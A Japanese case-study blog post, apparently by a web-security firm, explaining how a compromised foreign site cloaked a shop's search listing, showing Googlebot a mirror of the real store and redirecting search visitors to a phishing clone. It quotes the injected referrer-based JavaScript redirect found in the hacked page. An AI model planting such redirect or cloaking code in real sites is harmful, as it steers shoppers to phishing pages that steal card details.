ハッキング対策実例①~ショッピングサイト運営者様の場合~

日頃から、多くのお問い合わせをいただいております。
今日はその中から、実際の相談内容を紹介させていただきます。

4月下旬、1本の問い合わせメールを頂きました。

その内容は、

当社のショッピングサイトが何者かに不正にクローキングされているので、非常に迷惑している。Googleにも問い合わせしたが、対応してもらえず、会社の存続の危機であり、色々な方に相談したが、対応策が見当たりません。
どうか、話しだけでも聞いてほしい、

との内容でした。

早速、状況確認するため、メールの送り先であるショッピングサイトのオーナーに電話し、話を聞くことにしました。

相談内容は、ある特定のキーワード(実際には、このショッピングサイト名)で、検索すると、上位に、見に覚え内のないサイトが表示される、という内容でした。

実際に、検索して確認してみます。
(仮にキーワードをHOGEとします。)

Googleで、HOGEと入力して検索すると、全く同じタイトル、内容の検索結果が上位に2件表示されていました。

1番目に表示されているサイトにアクセスすると、ショッピングサイトが表示されます。
しかし、このショッピングサイトは、お問い合わせいただいたオーナー様も見に覚えのない、誰かが作成した偽物のショッピングサイトのようでした。
内容はオリジナルを丸コピーしたものでなく、全く別物のショッピングサイトでした。

2番めに表示されているのは、問い合わせされた方の正規のショッピングサイトです。

search

1番目に表示されている検索結果のURLは、www.dummy.comとなっていますが、アクセスして表示される偽のショッピングサイトのURLは、www.fake.jpとなっていました。

ですので、dummy.comから、fake.jpに自動でジャンプされていました。

検索からではなく、アドレスバーに直接、dummy.comとURLを入力してアクセスすると、自動ジャンプされず、dummy.comのコンテンツが表示されます。
ショッピングサイトではなく、海外の情報を発信するサイトが表示されました。

dummy.comがハッキングされ、細工された可能性があります。

アドレスバーに直接dummy.comを入力してソースを表示してみると、下記スクリプトがはいっていました。
<script>var s=document.referrer;if(s.indexOf(“google”)>0 || s.indexOf(“bing”)>0 || s.indexOf(“yahoo”)>0){self.location=’http://www.fake.jp/’;}</script>

このコードは、google、bing、yahooの検索サイトを経由してアクセスした場合は、fake.jpにジャンプさせ、アクセスさせる、という内容です。
ですので、検索からではなく、直接URLを入力するとこのコードは実行されず、dummy.comが表示された事になります。

このdummy.comのコンテンツは、海外のサイトであり、ショッピングサイトでありません。
当然、正規ページの内容や文章、HOGEといったキーワードなどまったく入っていない(そもそも国、言語が違う)、関係ないサイトが、なぜHOGEというキーワードで上位表示されているのでしょうか?

そこで、色々調査する中で以下の内容が判明しました。

Googleは、検索に表示させるサイトを収集するため、定期的に自動巡回プログラムを使ってサイト情報を収集しています。このプログラムをGoogleボットといいます。

通常、人がアクセスするのと変わらないのですが、このGoogleボットにはある特徴があります。それは、自分はGoogleボットです、という情報をもっている事です。

Googleボットにかぎらず、インターネットにアクセスした際、かならず、自分(利用しているブラウザの情報)が相手サーバーに送られます。

これを、User-Agent(ユーザーエージェント)といい、この情報にはアクセスしているブラウザの種類、バージョンなどのがはいっています。

Googleボットの場合、このUser Agentに、自分はGoogleボットです、という情報がはいっています。
アクセスするサーバー側で、このUser Agentが取得できますので、
見せるページを切り替える事ができます。

この切替手法はよく使われており、
たとえば、PCとスマホでは、画面のサイズが異なるので、UserAgentを取得して各端末毎にデザインされたページに切り替えさせて表示させる方法です。

このUser Agentは簡単に偽装できます。
Chromeだと、User-Agent Switcher for Chromeという拡張機能を使うと簡単に実現できます。

では、このUserAngetを偽装して、Googleボットがアクセスしたようにみせ、ハッキングされたサイト、dummy.comにアクセスしてみます。

すると、正規のショッピングサイトのページが表示されました。

また、Googleボットでアクセスした場合、URLが変わっていなかったので正規のショッピングサイトに移動されておらず、dummy.comのままで、正規のサイトが表示されていました。

つまり、YahooやGoogleから検索した場合は、dummy.comを経由して偽のショッピングサイトに誘導し、Googleボットには、正規のショッピングサイトに誘導していました。

また、Googleボットでアクセスした場合、さらに別サーバーに移動している事が分かりました。

まとめると、流れとしては、

①通常のアクセス   —> www.dummy.com —> JavaScriptでリダイレク —-> fake.jp

②Googleボット —> www.dummy.com —> 別の国のサーバ —-> official-site.jp

また、Googleボットでアクセスした際に表示される正規ページの中身は、ミラーリングされており、リアルタイムに情報を取得していました。
正規ページで商品追加などの更新を行うと、dummy.comの表示も即座に反映していました。

fake.jpは、フィッシングサイトであり、個人情報やクレジットカード情報を収集しているサイトと判明しました。
当然、購入しても商品は届きません。
しかし、問い合わせ先が正規サイトの情報が明記されていましたので、見に覚えのない問い合わせが入り、クレームが多発している状況でした。

このdummy.comは、海外の情報発信サイトであり、ページランクも高く、Googleの検索評価も高いと予想され、結果、正規ページより上位(結果1位)に表示されたと考えます。

このオーナー様が色々な方に助言され、対策を行ったが、解決せず当社に問い合わせされた、という経緯になります。

どのような助言をされたのか、聞いたところ、直接解決とは程遠い内容でした。
たとえば、ある業者からSSLを取得する事で、改善されますよ、と言われたそうで、実際に費用を支払、SSLを導入し、対策されておりました。
SSLを取得するという事は、サイト移転と同等です。httpよりhttpsの方が検索結果として優位だとは思いますが、決定的な順位決定事項でなく、まして今回の件が改善されるはずがありません。
逆に一時的に、順位が更に落ちる可能性もあります。
また、うまくいったとしても、1位と2位が入れ替わるだけで、なんら解決策ではありません。

オーナー様は現在の状況をすぐにでも解決したい、との事なのでSEO対策を行い、順位を上げる方法を行っても根本的な解決方法にはなりません。

また、Googleに問い合わせしてもいつになるのか、分からないといった状況です。

このハッキングされているサイトが日本国内で運営、稼働している場合は、サイト管理者にメールや場合よっては直接電話する、弁護士に相談など、色々手法はあるのですが、今回の場合は海外(英語圏ではない)です。

弊社に依頼する前にもこのサイト管理者に対して何度か問い合わせを試みたようですが、対応されていない現状でした。

そこで弊社の技術的チームがあらゆる対応策を洗い出し、対応を行いました。

結果、ご依頼をいただいてから2日でオーナー様が望む結果をだしました。

ご依頼されたオーナー様からは、多大な感謝を頂きました。